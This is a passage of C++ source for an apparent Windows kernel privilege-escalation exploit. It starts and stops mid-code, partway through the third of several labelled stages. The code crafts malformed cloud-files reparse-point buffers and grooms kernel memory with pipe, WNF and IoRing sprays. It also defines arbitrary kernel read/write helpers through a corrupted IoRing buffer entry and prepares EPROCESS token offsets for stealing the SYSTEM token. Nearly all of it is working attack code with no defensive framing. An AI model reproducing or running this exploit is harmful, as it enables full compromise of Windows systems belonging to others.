    HSM_ELEMENT_TYPE_BITMAP = 0x11,
} HSM_CONSTANTS;

static const USHORT HSM_HEADER_SIZE = 0x14;
static const USHORT HSM_ELEMENT_INFO_SIZE = 0x08;
static const USHORT BTRP_ALIGN = 0x04;
static const USHORT FERP_ALIGN = 0x08;
static const USHORT ELEMENT_NUMBER = 0x05;
static const USHORT MAX_ELEMS = 0x0A;
static const USHORT VERSION_VALUE = 0x0001;
static const USHORT ELEMENT_START_OFFSET = 0x60;
static const USHORT FERP_BUFFER_SIZE = 0x4000;
static const USHORT BTRP_BUFFER_SIZE = 0x4000;
static const USHORT COMPRESSED_SIZE = 0x4000;
static const USHORT REPARSE_DATA_SIZE = 0x4000;

static const DWORD  DEFRAG_PIPE_COUNT = 5000;
static const DWORD  WNF_PAD_SPRAY_COUNT = 0x5000;
static const DWORD  WNF_SPRAY_COUNT = 0x800;
static const DWORD  WNF_DATA_SIZE = 0xFF0;
static const DWORD  IORING_SPRAY_COUNT = 256;
static const DWORD  IORING_BUFFERS_PER_RING = 0x200;
static const DWORD  IORING_USER_BUFFER_SIZE = 0x100;
static const USHORT PAYLOAD_FILL_BYTE = 0xAB;
static const USHORT PAYLOAD_SIZE_OVERFLOW = 0x1010;
static const USHORT PAYLOAD_OFFSET = 0x1000;
static const DWORD  CHANGE_STAMP_FIRST = 0xC0DE;

static const DWORD  SLEEP_SHORT = 100;
static const DWORD  SLEEP_NORMAL = 1000;
static const DWORD  SLEEP_LONG = 6000;

static const ULONG EPROCESS_TOKEN_OFFSET = 0x4B8;
```

```
static const ULONG EPROCESS_IMAGEFILENAME_OFFSET = 0x5A8;
static const ULONG EPROCESS_UNIQUEPROCESSID_OFFSET = 0x440;
static const ULONG EPROCESS_ACTIVEPROCESSLINKS_OFFSET = 0x448;

static const ULONG HIORING_OFFSET_KERNEL_HANDLE = 0x00;
static const ULONG IORING_OBJECT_REGBUFFERSCOUNT_OFFSET = 0xB0;

#pragma pack(push, 1)

typedef struct _HSM_ELEMENT_INFO {
    USHORT Type;
    USHORT Length;
    ULONG  Offset;
} HSM_ELEMENT_INFO, * PHSM_ELEMENT_INFO;

typedef struct _REPARSE_DATA_BUFFER {
    ULONG  ReparseTag;
    USHORT ReparseDataLength;
    USHORT Reserved;
    struct {
        UCHAR DataBuffer[FERP_BUFFER_SIZE];
    } GenericReparseBuffer;
} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;

typedef struct _REPARSE_DATA_BUFFER_EX {
    ULONG     Flags;
    ULONG     ExistingReparseTag;
    GUID      ExistingReparseGuid;
    ULONGLONG Reserved;
    REPARSE_DATA_BUFFER ReparseDataBuffer;
} REPARSE_DATA_BUFFER_EX, * PREPARSE_DATA_BUFFER_EX;

#pragma pack(pop)

typedef struct _PIPE_PAIR {
    HANDLE hRead;
    HANDLE hWrite;
} PIPE_PAIR, * PPIPE_PAIR;

typedef struct _WNF_STATE_NAME {
    ULONG64 Data[2];
} WNF_STATE_NAME, * PWNF_STATE_NAME;

typedef ULONG WNF_CHANGE_STAMP, * PWNF_CHANGE_STAMP;

typedef struct _WNF_TYPE_ID {
    GUID TypeId;
} WNF_TYPE_ID, * PWNF_TYPE_ID;

typedef const WNF_TYPE_ID* PCWNF_TYPE_ID;
typedef const WNF_STATE_NAME* PCWNF_STATE_NAME;

typedef enum _WNF_STATE_NAME_LIFETIME {
    WnfWellKnownStateName = 0,
    WnfPermanentStateName = 1,
    WnfPersistentStateName = 2,
```

```
    WnfTemporaryStateName = 3
} WNF_STATE_NAME_LIFETIME;

typedef enum _WNF_DATA_SCOPE {
    WnfDataScopeSystem = 0,
    WnfDataScopeSession = 1,
    WnfDataScopeUser = 2,
    WnfDataScopeProcess = 3,
    WnfDataScopeMachine = 4
} WNF_DATA_SCOPE;

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG           Length;
    HANDLE          RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG           Attributes;
    PVOID           SecurityDescriptor;
    PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;

typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS Status;
        PVOID    Pointer;
    };
    ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;

typedef struct _IOP_MC_BUFFER_ENTRY {
    USHORT    Type;
    USHORT    Reserved1;
    ULONG     Size;
    ULONG     ReferenceCount;
    ULONG     Flags;
    ULONG64   Flink;
    ULONG64   Blink;
    PVOID     Address;
    ULONG     Length;
    CHAR      AccessMode;
    CHAR      Pad2D[3];
    LONG      MdlRef;
    ULONG     Pad34;
    PVOID     Mdl;
    BYTE      MdlRundownEvent[0x18];
    PVOID     PfnArray;
```

```
    BYTE      PageNodes[0x20];
} IOP_MC_BUFFER_ENTRY, * PIOP_MC_BUFFER_ENTRY;

typedef struct _RTL_PROCESS_MODULE_INFORMATION {
    HANDLE Section;
    PVOID  MappedBase;
    PVOID  ImageBase;
    ULONG  ImageSize;
    ULONG  Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT OffsetToFileName;
    UCHAR  FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;

typedef struct _RTL_PROCESS_MODULES {
    ULONG NumberOfModules;
    RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX {
    PVOID       Object;
    ULONG_PTR   UniqueProcessId;
    ULONG_PTR   HandleValue;
    ULONG       GrantedAccess;
    USHORT      CreatorBackTraceIndex;
    USHORT      ObjectTypeIndex;
    ULONG       HandleAttributes;
    ULONG       Reserved;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;

typedef struct _SYSTEM_HANDLE_INFORMATION_EX {
    ULONG_PTR   NumberOfHandles;
    ULONG_PTR   Reserved;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;

typedef NTSTATUS(NTAPI* PNtCreateWnfStateName)(PWNF_STATE_NAME,
WNF_STATE_NAME_LIFETIME, WNF_DATA_SCOPE, BOOLEAN, PCWNF_TYPE_ID, ULONG,
PSECURITY_DESCRIPTOR);
typedef NTSTATUS(NTAPI* PNtUpdateWnfStateData)(PCWNF_STATE_NAME, PVOID, ULONG,
PCWNF_TYPE_ID, PVOID, WNF_CHANGE_STAMP, ULONG);
typedef NTSTATUS(NTAPI* PNtQueryWnfStateData)(PCWNF_STATE_NAME, PCWNF_TYPE_ID, PVOID,
PWNF_CHANGE_STAMP, PVOID, PULONG);
typedef NTSTATUS(NTAPI* PNtDeleteWnfStateName)(PCWNF_STATE_NAME);
typedef NTSTATUS(NTAPI* PNtOpenProcess)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES,
PCLIENT_ID);
typedef NTSTATUS(NTAPI* PRtlGetCompressionWorkSpaceSize)(USHORT, PULONG, PULONG);
typedef NTSTATUS(NTAPI* PRtlCompressBuffer)(USHORT, PUCHAR, ULONG, PUCHAR, ULONG,
ULONG, PULONG, PVOID);
typedef NTSTATUS(NTAPI* PNtQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG);

static PNtCreateWnfStateName        g_NtCreateWnfStateName = NULL;
static PNtUpdateWnfStateData        g_NtUpdateWnfStateData = NULL;
static PNtQueryWnfStateData         g_NtQueryWnfStateData = NULL;
```

```
static PNtDeleteWnfStateName        g_NtDeleteWnfStateName = NULL;
static PNtOpenProcess               g_NtOpenProcess = NULL;
static PNtQuerySystemInformation    g_NtQuerySystemInformation = NULL;

static std::unique_ptr<WNF_STATE_NAME[]> g_wnf_pad_names;
static std::unique_ptr<WNF_STATE_NAME[]> g_wnf_names;
static std::unique_ptr<BOOL[]>           g_wnf_active;
static int    g_victim_index = -1;

static ULONG64 g_system_eprocess = 0;
static ULONG64 g_our_eprocess = 0;
static ULONG64 g_system_token = 0;
static ULONG64 g_system_token_raw = 0;
static ULONG64 g_our_token = 0;
static ULONG g_winlogon_pid = 0;

static std::unique_ptr<HIORING[]> g_ioring_handles;
static PVOID                g_shared_user_buffer = NULL;
static ULONG64              g_leaked_regbuf_entry = 0;
static int                  g_corrupted_ioring_index = -1;
static ULONG64              g_ntoskrnl_base = 0;
static HANDLE               g_input_pipe_server = NULL;
static HANDLE               g_input_pipe_client = NULL;
static HANDLE               g_output_pipe_server = NULL;
static HANDLE               g_output_pipe_client = NULL;
static PIOP_MC_BUFFER_ENTRY g_fake_buffer_entry = NULL;

static wchar_t g_syncRootPath[MAX_PATH];
static wchar_t g_filePath[MAX_PATH];

#define RESOLVE_FUNCTION(module, func_ptr, func_type, func_name) \
    do { \
        func_ptr = (func_type)GetProcAddress(module, func_name); \
        if (!func_ptr) { \
            printf("[-] Failed to resolve: %s\n", func_name); \
            return FALSE; \
        } \
    } while(0)

static ULONG Calculate_CRC32(ULONG seed, const void* buf, size_t len) {
    ULONG crc = ~seed;
    const unsigned char* p = (const unsigned char*)buf;
    for (size_t i = 0; i < len; ++i) {
        crc ^= p[i];
        for (int j = 0; j < 8; ++j) {
            if (crc & 1) crc = (crc >> 1) ^ 0xEDB88320;
            else crc >>= 1;
        }
    }
    return ~crc;
}

static BOOL IsKernelPointer(ULONG64 value) {
    return ((value & 0xFFFF000000000000ULL) == 0xFFFF000000000000ULL) &&
        (value != 0xFFFFFFFFFFFFFFFFULL) &&
        (value != 0x5151515151515151ULL) &&
```

```
        (value != 0x5252525252525252ULL);
}

//============================================================================
// IO_RING READ/WRITE HELPERS (Edition 03)
//============================================================================

static BOOL IoRingReadKernel(ULONG64 address, PVOID buffer, ULONG size) {
    if (g_corrupted_ioring_index < 0 || !g_fake_buffer_entry ||
        !g_output_pipe_server || g_output_pipe_server == INVALID_HANDLE_VALUE ||
        !g_output_pipe_client || g_output_pipe_client == INVALID_HANDLE_VALUE)
        return FALSE;
    if (address == 0 || buffer == NULL || size == 0)
        return FALSE;

    HIORING hRing = g_ioring_handles[g_corrupted_ioring_index];
    if (!hRing) return FALSE;

    g_fake_buffer_entry->Address = (PVOID)address;
    g_fake_buffer_entry->Length = size;

    IORING_HANDLE_REF fileRef = IoRingHandleRefFromHandle(g_output_pipe_client);
    IORING_BUFFER_REF bufferRef = IoRingBufferRefFromIndexAndOffset(0, 0);

    HRESULT hr = BuildIoRingWriteFile(
        hRing, fileRef, bufferRef, size, 0,
        FILE_WRITE_FLAGS_NONE, 0, IOSQE_FLAGS_NONE
    );
    if (FAILED(hr)) return FALSE;

    UINT32 submitted = 0;
    hr = SubmitIoRing(hRing, 1, 5000, &submitted);
    if (FAILED(hr)) return FALSE;

    IORING_CQE cqe = {};
    hr = PopIoRingCompletion(hRing, &cqe);
    if (FAILED(hr) || FAILED((HRESULT)cqe.ResultCode)) return FALSE;

    DWORD bytesRead = 0;
    BOOL bResult = ReadFile(g_output_pipe_server, buffer, size, &bytesRead, NULL);
    if (!bResult || bytesRead != size) return FALSE;

    return TRUE;
}

static BOOL IoRingReadKernel64(ULONG64 address, ULONG64* out_value) {
    return IoRingReadKernel(address, out_value, sizeof(ULONG64));
}

static BOOL IoRingWriteKernel(ULONG64 address, PVOID data, ULONG size) {
    if (g_corrupted_ioring_index < 0 || !g_fake_buffer_entry ||
        !g_input_pipe_server || g_input_pipe_server == INVALID_HANDLE_VALUE ||
        !g_input_pipe_client || g_input_pipe_client == INVALID_HANDLE_VALUE)
        return FALSE;
    if (address == 0 || data == NULL || size == 0)
        return FALSE;
```

```
    HIORING hRing = g_ioring_handles[g_corrupted_ioring_index];
    if (!hRing) return FALSE;

    g_fake_buffer_entry->Address = (PVOID)address;
    g_fake_buffer_entry->Length = size;

    DWORD bytesWritten = 0;
    BOOL bResult = WriteFile(g_input_pipe_server, data, size, &bytesWritten, NULL);
    if (!bResult || bytesWritten != size) return FALSE;

    IORING_HANDLE_REF fileRef = IoRingHandleRefFromHandle(g_input_pipe_client);
    IORING_BUFFER_REF bufferRef = IoRingBufferRefFromIndexAndOffset(0, 0);

    HRESULT hr = BuildIoRingReadFile(
        hRing, fileRef, bufferRef, size, 0, 0, IOSQE_FLAGS_NONE
    );
    if (FAILED(hr)) return FALSE;

    UINT32 submitted = 0;
    hr = SubmitIoRing(hRing, 1, 5000, &submitted);
    if (FAILED(hr)) return FALSE;

    IORING_CQE cqe = {};
    hr = PopIoRingCompletion(hRing, &cqe);
    if (FAILED(hr) || FAILED((HRESULT)cqe.ResultCode)) return FALSE;

    return TRUE;
}

static BOOL InitializeNtdllFunctions(void) {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtdll) {
        printf("[-] Failed to get ntdll.dll handle\n");
        return FALSE;
    }

    RESOLVE_FUNCTION(hNtdll, g_NtCreateWnfStateName, PNtCreateWnfStateName,
"NtCreateWnfStateName");
    RESOLVE_FUNCTION(hNtdll, g_NtUpdateWnfStateData, PNtUpdateWnfStateData,
"NtUpdateWnfStateData");
    RESOLVE_FUNCTION(hNtdll, g_NtQueryWnfStateData, PNtQueryWnfStateData,
"NtQueryWnfStateData");
    RESOLVE_FUNCTION(hNtdll, g_NtDeleteWnfStateName, PNtDeleteWnfStateName,
"NtDeleteWnfStateName");
    RESOLVE_FUNCTION(hNtdll, g_NtOpenProcess, PNtOpenProcess, "NtOpenProcess");
    RESOLVE_FUNCTION(hNtdll, g_NtQuerySystemInformation, PNtQuerySystemInformation,
"NtQuerySystemInformation");

    printf("[+] All ntdll functions resolved\n");
    return TRUE;
}

static BOOL InitializeSyncRoot(void) {
    PWSTR appDataPath = NULL;
    HRESULT hr = SHGetKnownFolderPath(FOLDERID_RoamingAppData, 0, NULL, &appDataPath);
```

```
    if (FAILED(hr)) {
        printf("[-] Failed to get AppData path\n");
        return FALSE;
    }

    swprintf(g_syncRootPath, MAX_PATH, L"%s\\MySyncRoot", appDataPath);
    CreateDirectoryW(g_syncRootPath, NULL);

    swprintf(g_filePath, MAX_PATH, L"%s\\trigger_first", g_syncRootPath);

    CF_SYNC_REGISTRATION registration = {};
    registration.StructSize = sizeof(registration);
    registration.ProviderName = L"ExploitProvider";
    registration.ProviderVersion = L"1.0";
    registration.ProviderId = ProviderId;

    LPCWSTR identity = L"ExploitIdentity";
    registration.SyncRootIdentity = identity;
    registration.SyncRootIdentityLength = (DWORD)(wcslen(identity) * sizeof(WCHAR));

    CF_SYNC_POLICIES policies = {};
    policies.StructSize = sizeof(policies);
    policies.Hydration.Primary = CF_HYDRATION_POLICY_FULL;
    policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
    policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
    policies.PlaceholderManagement =
CF_PLACEHOLDER_MANAGEMENT_POLICY_UPDATE_UNRESTRICTED;

    hr = CfRegisterSyncRoot(g_syncRootPath, &registration, &policies,
        CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);

    if (FAILED(hr)) {
        printf("[-] Sync root registration failed: 0x%08lX\n", (unsigned long)hr);
        CoTaskMemFree(appDataPath);
        return FALSE;
    }

    printf("[+] Sync root registered: %ls\n", g_syncRootPath);
    CoTaskMemFree(appDataPath);
    return TRUE;
}

typedef enum _HSM_ELEMENT_OFFSETS {
    ELEM_TYPE = 0x00, ELEM_LENGTH = 0x02, ELEM_OFFSET = 0x04,
} HSM_ELEMENT_OFFSETS;

typedef enum _HSM_FERP_OFFSETS {
    FERP_VERSION = 0x00, FERP_STRUCT_SIZE = 0x02, FERP_MAGIC = 0x04,
    FERP_CRC = 0x08, FERP_LENGTH = 0x0C, FERP_FLAGS = 0x10, FERP_MAX_ELEMS = 0x12
} HSM_FERP_OFFSETS;

typedef enum _HSM_BTRP_OFFSETS {
    BTRP_MAGIC = 0x04, BTRP_CRC = 0x08, BTRP_LENGTH = 0x0C,
    BTRP_FLAGS = 0x10, BTRP_MAX_ELEMS = 0x12
} HSM_BTRP_OFFSETS;
```

```
static USHORT BtRpBuildBuffer(HSM_ELEMENT_INFO* elements, char** input_data, int count,
char* btrp_data_buffer) {
    memset(btrp_data_buffer, 0, BTRP_BUFFER_SIZE);
    *(ULONG*)(btrp_data_buffer + BTRP_MAGIC) = HSM_BITMAP_MAGIC;
    *(USHORT*)(btrp_data_buffer + BTRP_MAX_ELEMS) = (USHORT)count;

    char* ptr = btrp_data_buffer + HSM_HEADER_SIZE;
    for (int i = 0; i < count; i++) {
        *(USHORT*)(ptr + ELEM_TYPE) = elements[i].Type;
        *(USHORT*)(ptr + ELEM_LENGTH) = elements[i].Length;
        *(ULONG*)(ptr + ELEM_OFFSET) = elements[i].Offset;
        memcpy(btrp_data_buffer + elements[i].Offset + 4, input_data[i],
elements[i].Length);
        ptr += sizeof(HSM_ELEMENT_INFO);
    }

    USHORT max_offset = 0;
    for (int i = 0; i < count; i++) {
        USHORT end = (USHORT)(elements[i].Offset + elements[i].Length);
        if (end > max_offset) max_offset = end;
    }

    USHORT total = (USHORT)(max_offset + 4);
    *(USHORT*)(btrp_data_buffer + BTRP_LENGTH) = total;
    *(USHORT*)(btrp_data_buffer + BTRP_FLAGS) = HSM_DATA_HAVE_CRC;

    if (total <= 8 + 0x0C) return 0;

    ULONG crc = Calculate_CRC32(0, btrp_data_buffer + BTRP_LENGTH, (ULONG)(total - 8));
    *(ULONG*)(btrp_data_buffer + BTRP_CRC) = crc;

    return total;
}

static USHORT FeRpBuildBuffer(HSM_ELEMENT_INFO* elements, char** input_data, int count,
char* ferp_ptr, USHORT max_elements) {
    memset(ferp_ptr, 0, FERP_BUFFER_SIZE);
    *(USHORT*)(ferp_ptr + FERP_VERSION) = VERSION_VALUE;
    *(ULONG*)(ferp_ptr + FERP_MAGIC) = HSM_FILE_MAGIC;
    *(USHORT*)(ferp_ptr + FERP_FLAGS) = HSM_DATA_HAVE_CRC;
    *(USHORT*)(ferp_ptr + FERP_MAX_ELEMS) = max_elements;

    char* descPtr = ferp_ptr + HSM_HEADER_SIZE;
    for (int i = 0; i < count; i++) {
        *(USHORT*)(descPtr + ELEM_TYPE) = elements[i].Type;
        *(USHORT*)(descPtr + ELEM_LENGTH) = elements[i].Length;
        *(ULONG*)(descPtr + ELEM_OFFSET) = elements[i].Offset;
        memcpy(ferp_ptr + elements[i].Offset, input_data[i], elements[i].Length);
        descPtr += HSM_ELEMENT_INFO_SIZE;
    }

    USHORT position_limit = 0;
    for (int i = 0; i < count; i++) {
        USHORT end = (USHORT)(elements[i].Offset + elements[i].Length);
        if (end > position_limit) position_limit = end;
    }
```

```
    USHORT rem = (USHORT)(position_limit % FERP_ALIGN);
    if (rem != 0) position_limit = (USHORT)(position_limit + (FERP_ALIGN - rem));

    *(ULONG*)(ferp_ptr + FERP_LENGTH) = (ULONG)(position_limit - 4);
    if (position_limit <= HSM_ELEMENT_TYPE_MAX) return 0;

    ULONG crc = Calculate_CRC32(0, ferp_ptr + FERP_LENGTH, (ULONG)(position_limit - 8 -
4));
    *(ULONG*)(ferp_ptr + FERP_CRC) = crc;
    *(USHORT*)(ferp_ptr + FERP_STRUCT_SIZE) = position_limit;

    return position_limit;
}

static unsigned long FeRpCompressBuffer(char* input_buffer, unsigned short input_size,
char* output_buffer) {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtdll) return 0;

    auto fnGetWorkSpaceSize = (PRtlGetCompressionWorkSpaceSize)GetProcAddress(hNtdll,
"RtlGetCompressionWorkSpaceSize");
    auto fnCompressBuffer = (PRtlCompressBuffer)GetProcAddress(hNtdll,
"RtlCompressBuffer");
    if (!fnGetWorkSpaceSize || !fnCompressBuffer) return 0;

    ULONG workSpaceSize = 0, fragWorkSpaceSize = 0;
    if (fnGetWorkSpaceSize(2, &workSpaceSize, &fragWorkSpaceSize) != 0) return 0;

    std::unique_ptr<char[]> workspace(new char[workSpaceSize]);
    ULONG compressedSize = 0;

    if (fnCompressBuffer(2, (PUCHAR)(input_buffer + 4), (ULONG)(input_size - 4),
        (PUCHAR)output_buffer, FERP_BUFFER_SIZE, FERP_BUFFER_SIZE,
        &compressedSize, workspace.get()) != 0) return 0;

    return compressedSize;
}

static int BuildAndSetReparsePoint(HANDLE hFile, int payload_size, char* payload_buf) {
    const int COUNT = ELEMENT_NUMBER;
    auto bt_elements = std::make_unique<HSM_ELEMENT_INFO[]>(COUNT);

    bt_elements[0].Type = HSM_ELEMENT_TYPE_BYTE;   bt_elements[0].Length = 0x1;
    bt_elements[1].Type = HSM_ELEMENT_TYPE_BYTE;   bt_elements[1].Length = 0x1;
    bt_elements[2].Type = HSM_ELEMENT_TYPE_BYTE;   bt_elements[2].Length = 0x1;
    bt_elements[3].Type = HSM_ELEMENT_TYPE_UINT64; bt_elements[3].Length = 0x8;
    bt_elements[4].Type = HSM_ELEMENT_TYPE_BITMAP; bt_elements[4].Length =
(USHORT)payload_size;

    bt_elements[0].Offset = ELEMENT_START_OFFSET;
    bt_elements[1].Offset = ELEMENT_START_OFFSET + 0x04;
    bt_elements[2].Offset = ELEMENT_START_OFFSET + 0x08;
    bt_elements[3].Offset = ELEMENT_START_OFFSET + 0x0C;
    bt_elements[4].Offset = ELEMENT_START_OFFSET + 0x18;
```

```
    std::unique_ptr<char[]> bt_buf(new char[BTRP_BUFFER_SIZE]);
    BYTE bt_data_00 = 0x01, bt_data_01 = 0x10, bt_data_02 = 0x00;
    UINT64 bt_data_03 = 0x0;
    char* bt_data[COUNT] = { (char*)&bt_data_00, (char*)&bt_data_01,
(char*)&bt_data_02, (char*)&bt_data_03, payload_buf };

    USHORT bt_size = BtRpBuildBuffer(bt_elements.get(), bt_data, COUNT, bt_buf.get());
    if (bt_size == 0) return -1;

    auto fe_elements = std::make_unique<HSM_ELEMENT_INFO[]>(COUNT);
    fe_elements[0].Type = HSM_ELEMENT_TYPE_BYTE;   fe_elements[0].Length = 0x1;
    fe_elements[1].Type = HSM_ELEMENT_TYPE_UINT32; fe_elements[1].Length = 0x4;
    fe_elements[2].Type = HSM_ELEMENT_TYPE_UINT64; fe_elements[2].Length = 0x8;
    fe_elements[3].Type = HSM_ELEMENT_TYPE_BITMAP; fe_elements[3].Length = 0x4;
    fe_elements[4].Type = HSM_ELEMENT_TYPE_BITMAP; fe_elements[4].Length = bt_size;

    fe_elements[0].Offset = ELEMENT_START_OFFSET;
    fe_elements[1].Offset = ELEMENT_START_OFFSET + 0x04;
    fe_elements[2].Offset = ELEMENT_START_OFFSET + 0x08;
    fe_elements[3].Offset = ELEMENT_START_OFFSET + 0x0C;
    fe_elements[4].Offset = ELEMENT_START_OFFSET + 0x18;

    std::unique_ptr<char[]> fe_buf(new char[FERP_BUFFER_SIZE]);
    BYTE fe_data_00 = 0x74;
    UINT32 fe_data_01 = 0x00000001;
    UINT64 fe_data_02 = 0x0;
    UINT32 fe_data_03 = 0x00000040;
    char* fe_data[COUNT] = { (char*)&fe_data_00, (char*)&fe_data_01,
(char*)&fe_data_02, (char*)&fe_data_03, bt_buf.get() };

    USHORT fe_size = FeRpBuildBuffer(fe_elements.get(), fe_data, COUNT, fe_buf.get(),
MAX_ELEMS);
    if (fe_size == 0) return -1;

    std::unique_ptr<char[]> compressed(new char[COMPRESSED_SIZE]);
    unsigned long compressed_size = FeRpCompressBuffer(fe_buf.get(), fe_size,
compressed.get());
    if (compressed_size == 0 || compressed_size > COMPRESSED_SIZE) return -1;

    USHORT cf_payload_len = (USHORT)(4 + compressed_size);
    std::unique_ptr<char[]> cf_blob(new char[cf_payload_len]);
    *(USHORT*)(cf_blob.get() + 0) = 0x8001;
    *(USHORT*)(cf_blob.get() + 2) = fe_size;
    memcpy(cf_blob.get() + 4, compressed.get(), compressed_size);

    REPARSE_DATA_BUFFER_EX rep_data = {};
    rep_data.Flags = 0x1;
    rep_data.ExistingReparseTag = IO_REPARSE_TAG_CLOUD_6;
    rep_data.ExistingReparseGuid = ProviderId;
    rep_data.ReparseDataBuffer.ReparseTag = IO_REPARSE_TAG_CLOUD_6;
    rep_data.ReparseDataBuffer.ReparseDataLength = cf_payload_len;
    memcpy(rep_data.ReparseDataBuffer.GenericReparseBuffer.DataBuffer, cf_blob.get(),
cf_payload_len);

    DWORD inSize = (DWORD)(offsetof(REPARSE_DATA_BUFFER_EX,
ReparseDataBuffer.GenericReparseBuffer.DataBuffer) + cf_payload_len);
```

```
    DWORD bytesReturned = 0;

    return DeviceIoControl(hFile, FSCTL_SET_REPARSE_POINT_EX, &rep_data, inSize, NULL,
0, &bytesReturned, NULL) ? 0 : -1;
}

//============================================================================
// STAGE 01: DEFRAGMENTATION
//============================================================================

static BOOL Stage01_Defragmentation(void) {
    printf("\n=======================================\n");
    printf("    STAGE 01: DEFRAGMENTATION\n");
    printf("=======================================\n");

    for (int round = 0; round < 2; round++) {
        auto pipes = std::make_unique<PIPE_PAIR[]>(DEFRAG_PIPE_COUNT);
        DWORD created = 0;

        for (DWORD i = 0; i < DEFRAG_PIPE_COUNT; i++) {
            if (CreatePipe(&pipes[i].hRead, &pipes[i].hWrite, NULL, 0x100)) created++;
            else pipes[i].hRead = pipes[i].hWrite = NULL;
        }

        Sleep(SLEEP_SHORT);

        for (DWORD i = 0; i < DEFRAG_PIPE_COUNT; i++) {
            if (pipes[i].hRead) CloseHandle(pipes[i].hRead);
            if (pipes[i].hWrite) CloseHandle(pipes[i].hWrite);
        }

        printf("[+] Round %d: %lu/%lu pipes\n", round + 1, created, DEFRAG_PIPE_COUNT);
    }

    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 01 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 02: CREATE WNF NAMES
//============================================================================

static BOOL Stage02_CreateWnfNames(void) {
    printf("\n=======================================\n");
    printf("    STAGE 02: CREATE WNF NAMES\n");
    printf("=======================================\n");

    g_wnf_pad_names = std::make_unique<WNF_STATE_NAME[]>(WNF_PAD_SPRAY_COUNT);
    g_wnf_names = std::make_unique<WNF_STATE_NAME[]>(WNF_SPRAY_COUNT);
    g_wnf_active = std::make_unique<BOOL[]>(WNF_SPRAY_COUNT);
    memset(g_wnf_active.get(), 0, WNF_SPRAY_COUNT * sizeof(BOOL));

    PSECURITY_DESCRIPTOR pSecurityDescriptor = nullptr;
```

```
    ConvertStringSecurityDescriptorToSecurityDescriptorW(L"", SDDL_REVISION_1,
&pSecurityDescriptor, nullptr);

    DWORD padCreated = 0;
    for (DWORD i = 0; i < WNF_PAD_SPRAY_COUNT; i++) {
        if (g_NtCreateWnfStateName(&g_wnf_pad_names[i], WnfTemporaryStateName,
WnfDataScopeUser, FALSE, NULL, 0x1000, pSecurityDescriptor) == 0)
            padCreated++;
    }
    printf("[+] Created %lu padding WNF names\n", padCreated);

    DWORD actualCreated = 0;
    for (DWORD i = 0; i < WNF_SPRAY_COUNT; i++) {
        if (g_NtCreateWnfStateName(&g_wnf_names[i], WnfTemporaryStateName,
WnfDataScopeUser, FALSE, NULL, 0x1000, pSecurityDescriptor) == 0)
            actualCreated++;
    }
    printf("[+] Created %lu actual WNF names\n", actualCreated);

    LocalFree(pSecurityDescriptor);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 02 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 03: IO_RING SPRAY
//============================================================================

static BOOL Stage03_IoRingSpray(void) {
    printf("\n=======================================\n");
    printf("    STAGE 03: IO_RING SPRAY\n");
    printf("=======================================\n");

    g_shared_user_buffer = VirtualAlloc(NULL,
        (SIZE_T)IORING_BUFFERS_PER_RING * IORING_USER_BUFFER_SIZE,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!g_shared_user_buffer) {
        printf("[-] VirtualAlloc for shared user buffer failed\n");
        return FALSE;
    }
    memset(g_shared_user_buffer, 0x42, (SIZE_T)IORING_BUFFERS_PER_RING *
IORING_USER_BUFFER_SIZE);
    printf("[+] Shared user buffer: 0x%p (%u x 0x%X bytes)\n",
        g_shared_user_buffer, IORING_BUFFERS_PER_RING, IORING_USER_BUFFER_SIZE);

    auto bufInfos = std::make_unique<IORING_BUFFER_INFO[]>(IORING_BUFFERS_PER_RING);
    for (DWORD j = 0; j < IORING_BUFFERS_PER_RING; j++) {
        bufInfos[j].Address = (BYTE*)g_shared_user_buffer + (SIZE_T)j *
IORING_USER_BUFFER_SIZE;
        bufInfos[j].Length = IORING_USER_BUFFER_SIZE;
    }

    g_ioring_handles = std::make_unique<HIORING[]>(IORING_SPRAY_COUNT);
    memset(g_ioring_handles.get(), 0, IORING_SPRAY_COUNT * sizeof(HIORING));
```

```
    DWORD created = 0;
    for (DWORD i = 0; i < IORING_SPRAY_COUNT; i++) {
        IORING_CREATE_FLAGS flags = {};
        flags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
        flags.Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE;

        HRESULT hr = CreateIoRing(IORING_VERSION_3, flags, 0x10000, 0x20000,
&g_ioring_handles[i]);
        if (FAILED(hr)) { g_ioring_handles[i] = NULL; continue; }

        hr = BuildIoRingRegisterBuffers(g_ioring_handles[i],
            IORING_BUFFERS_PER_RING, bufInfos.get(), 0);
